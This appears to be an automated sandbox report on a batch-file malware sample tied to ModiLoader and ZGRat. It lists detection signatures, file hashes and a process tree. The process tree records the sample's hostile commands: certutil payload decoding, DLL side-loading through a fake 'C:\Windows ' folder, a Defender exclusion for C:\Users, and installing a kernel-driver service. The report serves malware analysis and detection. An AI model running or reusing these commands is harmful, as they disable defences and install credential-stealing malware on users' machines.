Analysis

  • max time kernel
    142s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/02/2024, 12:27

General

  • Target
    CORRECTION_FORM_INFO.bat
  • Size 21.0MB
  • Sample240220-pmq6wsgf72
  • SHA256 f3f6e3f357652d2d7a9f393cb658bcbee22655cf4b2d82f1dbce8754593597ca
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detect ZGRat V1 2 IoCs
  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • ModiLoader Second Stage 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\CORRECTION_FORM_INFO.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1032
    • C:\Windows\system32\cmd.exe
      cmd /c certutil -decodehex "C:\Users\Admin\AppData\Local\Temp\CORRECTION_FORM_INFO.bat" "C:\Users\Public\pointer.com" 3
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2356
      • C:\Windows\system32\certutil.exe
        certutil -decodehex "C:\Users\Admin\AppData\Local\Temp\CORRECTION_FORM_INFO.bat" "C:\Users\Public\pointer.com" 3
        3⤵
          PID:3372
      • C:\Windows\system32\PING.EXE
        PING -n 3 127.0.0.1
        2⤵
        • Runs ping.exe
        PID:3816
      • C:\Users\Public\pointer.com
        C:\Users\Public\pointer.com
        2⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3116
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\VgebjwpgO.bat" "
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4384
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c mkdir "\\?\C:\Windows "
            4⤵
              PID:4852
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
              4⤵
                PID:3684
              • C:\Windows\SysWOW64\xcopy.exe
                xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y
                4⤵
                • Enumerates system info in registry
                PID:3704
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                4⤵
                  PID:1636
                • C:\Windows\SysWOW64\xcopy.exe
                  xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y
                  4⤵
                  • Enumerates system info in registry
                  PID:1104
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                  4⤵
                    PID:1012
                  • C:\Windows\SysWOW64\xcopy.exe
                    xcopy "KDECO.bat" "C:\Windows \System32\" /K /D /H /Y
                    4⤵
                    • Enumerates system info in registry
                    PID:4908
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                    4⤵
                      PID:2028
                    • C:\Windows\SysWOW64\xcopy.exe
                      xcopy "x.bat" "C:\Windows \System32\" /K /D /H /Y
                      4⤵
                      • Enumerates system info in registry
                      PID:1940
                    • C:\Windows \System32\easinvoker.exe
                      "C:\\Windows \\System32\\easinvoker.exe"
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of WriteProcessMemory
                      PID:2948
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1676
                        • C:\Windows\system32\cmd.exe
                          cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                          6⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2924
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                            7⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:456
                        • C:\Windows\system32\sc.exe
                          sc.exe create truesight binPath="C:\Users\Public\Libraries\truesight.sys" type=kernel
                          6⤵
                          • Launches sc.exe
                          PID:4092
                        • C:\Windows\system32\sc.exe
                          sc.exe start truesight
                          6⤵
                          • Launches sc.exe
                          PID:1880
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c "C:\\Windows \\System32\\easinvoker.exe"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4272
                    • C:\Windows \System32\easinvoker.exe
                      "C:\\Windows \\System32\\easinvoker.exe"
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:1428
                  • C:\Users\Public\Libraries\gpwjbegV.pif
                    C:\Users\Public\Libraries\gpwjbegV.pif
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of SetWindowsHookEx
                    PID:3780

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    __PSScriptPolicyTest_pixnjypm.f3r.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pixnjypm.f3r.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512

                    KDECO.bat

                    • Path C:\Users\Public\Libraries\KDECO.bat
                    • Size 4KB
                    • SHA256 c8e1912a3328802e98563e32eb053ae3e28249b701054af227e9f1ba6bfe24d9
                    • MD5 SHA1 SHA512 SSDEEP

                    VgebjwpgO.bat

                    • Path C:\Users\Public\Libraries\VgebjwpgO.bat
                    • Size 7KB
                    • SHA256 f46e0cc2c119a32dd87edf97bfc73d985ee97d2c9dc00274b6b20d641e29deea
                    • MD5 SHA1 SHA512 SSDEEP

                    easinvoker.exe

                    • Path C:\Users\Public\Libraries\easinvoker.exe
                    • Size 128KB
                    • SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
                    • MD5 SHA1 SHA512 SSDEEP

                    gpwjbegV.pif

                    • Path C:\Users\Public\Libraries\gpwjbegV.pif
                    • Size 66KB
                    • SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
                    • MD5 SHA1 SHA512 SSDEEP

                    netutils.dll

                    • Path C:\Users\Public\Libraries\netutils.dll
                    • Size 115KB
                    • SHA256 ae33f291a6f2011ca147c2b48035743aba3c507dcef86e1fa6acb4dee47cbf43
                    • MD5 SHA1 SHA512 SSDEEP

                    pointer.com

                    • Path C:\Users\Public\pointer.com
                    • Size 9.1MB
                    • SHA256 24bebc51d59fb08beee291435626c99020c4ca1085351fc3c9e500786891af62
                    • MD5 SHA1 SHA512 SSDEEP

                    pointer.com

                    • Path C:\Users\Public\pointer.com
                    • Size 8.8MB
                    • SHA256 4c14154b0c57755fd312912cda690faa973b86b8d2f98d7e567a0077026d6dbd
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/456-46-0x00007FFA30730000-0x00007FFA311F1000-memory.dmp

                    memory/456-42-0x000001CAF6EC0000-0x000001CAF6ED0000-memory.dmp

                    memory/456-43-0x000001CAF6EC0000-0x000001CAF6ED0000-memory.dmp

                    memory/456-36-0x000001CAF9290000-0x000001CAF92B2000-memory.dmp

                    memory/456-41-0x00007FFA30730000-0x00007FFA311F1000-memory.dmp

                    memory/1428-50-0x00000000613C0000-0x00000000613E3000-memory.dmp

                    memory/2948-29-0x00000000613C0000-0x00000000613E3000-memory.dmp

                    memory/3116-60-0x0000000002CE0000-0x0000000002CF3000-memory.dmp

                    memory/3116-8-0x0000000000400000-0x0000000000558000-memory.dmp

                    memory/3116-6-0x0000000009C20000-0x000000000AC20000-memory.dmp

                    memory/3116-62-0x000000001C270000-0x000000001C27A000-memory.dmp

                    memory/3116-5-0x0000000009C20000-0x000000000AC20000-memory.dmp

                    memory/3116-4-0x0000000000880000-0x0000000000881000-memory.dmp

                    memory/3116-61-0x000000001C240000-0x000000001C26F000-memory.dmp

                    memory/3780-57-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/3780-58-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/3780-54-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/3780-63-0x0000000049A60000-0x0000000049AB0000-memory.dmp

                    memory/3780-64-0x000000004C2E0000-0x000000004C884000-memory.dmp

                    memory/3780-65-0x0000000049D30000-0x0000000049D7E000-memory.dmp

                    memory/3780-66-0x000000004C1E0000-0x000000004C246000-memory.dmp

                    memory/3780-67-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/3780-69-0x000000004C2D0000-0x000000004C2E0000-memory.dmp

                    memory/3780-68-0x000000004C2D0000-0x000000004C2E0000-memory.dmp

                    memory/3780-70-0x0000000072B00000-0x00000000732B0000-memory.dmp

                    memory/3780-71-0x000000004D9E0000-0x000000004DA30000-memory.dmp

                    memory/3780-72-0x000000004DA30000-0x000000004DACC000-memory.dmp

                    memory/3780-73-0x000000004DB80000-0x000000004DC12000-memory.dmp

                    memory/3780-74-0x000000004DD80000-0x000000004DD8A000-memory.dmp

                    memory/3780-75-0x0000000000400000-0x0000000000446000-memory.dmp

                    memory/3780-77-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/3780-78-0x000000004C2D0000-0x000000004C2E0000-memory.dmp

                    memory/3780-79-0x000000004C2D0000-0x000000004C2E0000-memory.dmp

                    memory/3780-80-0x0000000072B00000-0x00000000732B0000-memory.dmp